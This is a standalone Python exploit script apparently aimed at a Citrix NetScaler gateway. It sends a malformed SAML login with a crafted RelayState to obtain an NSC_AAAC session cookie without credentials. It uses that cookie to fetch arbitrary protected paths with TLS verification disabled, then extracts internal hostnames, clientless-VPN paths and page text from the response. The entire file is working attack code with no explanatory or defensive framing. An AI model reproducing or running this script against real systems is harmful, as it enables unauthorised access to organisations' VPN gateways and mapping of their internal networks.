import base64, re, ssl, sys, time, urllib.error, urllib.parse, urllib.request

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"
RS16 = base64.b64encode(b"ctx=" + b"\x00" * 12).decode()


def op():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx.set_ciphers("DEFAULT@SECLEVEL=1")

    class N(urllib.request.HTTPRedirectHandler):
        def redirect_request(self, *a, **k):
            return None

    return urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx), N)


def call(ip, path, cookie=None, data=None, timeout=20):
    r = urllib.request.Request("https://%s%s" % (ip, path), data=data)
    r.add_header("User-Agent", UA)
    if data is not None:
        r.add_header("Content-Type", "application/x-www-form-urlencoded")
    if cookie:
        r.add_header("Cookie", cookie)
    try:
        x = op().open(r, timeout=timeout)
        return x.status, x.headers.get("Location") or "", x.read(500000).decode("utf-8", "replace"), (x.headers.get_all("Set-Cookie") or [])
    except urllib.error.HTTPError as e:
        return e.code, e.headers.get("Location") or "", e.read(500000).decode("utf-8", "replace"), (e.headers.get_all("Set-Cookie") or [])
    except Exception as e:
        return None, "", type(e).__name__, []


def mint(ip):
    body = ("SAMLResponse=AAAA&RelayState=" + urllib.parse.quote(RS16, safe="")).encode()
    st, loc, b, cks = call(ip, "/cgi/samlauth", None, body)
    ck = [c.split(";")[0] for c in cks if c.startswith("NSC_AAAC") and "xyz" not in c.split(";")[0]]
    return (ck[0] if ck else None)


def main():
    ip, path, out = sys.argv[1], sys.argv[2], sys.argv[3]
    st, loc, b = None, "", ""
    for attempt in range(4):
        ck = mint(ip)
        if not ck:
            print("no cookie, attempt", attempt, flush=True)
            continue
        st, loc, b, _ = call(ip, path, ck)
        if st is not None:
            break
        print("retry", attempt, b, flush=True)
        time.sleep(3)
    open(out, "w").write(b)
    print("status", st, "loc", loc, "len", len(b), "saved", out, flush=True)
    print("title:", (re.findall(r"<title[^>]*>(.{0,80}?)</title>", b, re.S | re.I) or [""])[0].strip(), flush=True)
    print("hosts:", sorted(set(re.findall(r'https?://([A-Za-z0-9._-]{4,60})', b)))[:25], flush=True)
    urls = sorted(set(re.findall(r'/cvpn/[a-z]+/[^"\' >]{2,80}', b)))
    print("cvpn paths:", urls[:20], flush=True)
    print("text:", " ".join(re.sub(r"<[^>]+>", " ", b).split())[:600], flush=True)


main()
